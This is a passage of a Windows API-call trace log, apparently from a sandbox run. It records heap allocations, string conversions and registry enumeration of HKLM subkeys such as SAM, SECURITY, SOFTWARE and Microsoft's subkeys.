(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bc58 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bca0) returned 1 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc58) returned 1 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.582] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x252b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bc58 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x252bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bca0 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc58) returned 1 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bca0) returned 1 [0165.582] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.582] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x252b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0165.582] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bca0 [0165.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x252bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bc58 [0165.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bca0) returned 1 [0165.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc58) returned 1 [0165.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.583] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x252b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bc58 [0165.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x252bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bca0 [0165.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc58) returned 1 [0165.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bca0) returned 1 [0165.583] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.583] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f468 | out: phkResult=0x36f468*=0xa0) returned 0x0 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x184) returned 0x252d040 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bca0 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bc58 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bce8 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bd30 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bd78 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bdc0 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252be08 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252be50 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252be98 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bee0 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bf28 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bf70 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252bfb8 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c000 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c048 [0165.583] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c090 [0165.584] RegCloseKey (hKey=0x80000002) returned 0x0 [0165.584] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x252b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x252c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.584] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x252b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x252c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.584] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x252b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x252c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.584] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.584] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x252b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x252c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0165.584] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.585] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x252b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x252c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.585] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x252b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x252c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.585] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x252b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x252c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.585] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.585] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f468 | out: phkResult=0x36f468*=0x24) returned 0x0 [0165.585] RegCloseKey (hKey=0xa0) returned 0x0 [0165.585] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x252b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0165.585] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x252c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.586] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x252b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x252c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.586] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x252b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x252c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.586] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x252b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x252c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.586] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x252b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x252c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0165.586] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.586] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.587] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x252b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x252c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.587] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x252b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x252c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.587] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x252b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x252c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.587] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x252b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252bbb8 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x252c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0165.587] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.587] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.588] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bbb8) returned 1 [0165.588] RegEnumKeyW (in: 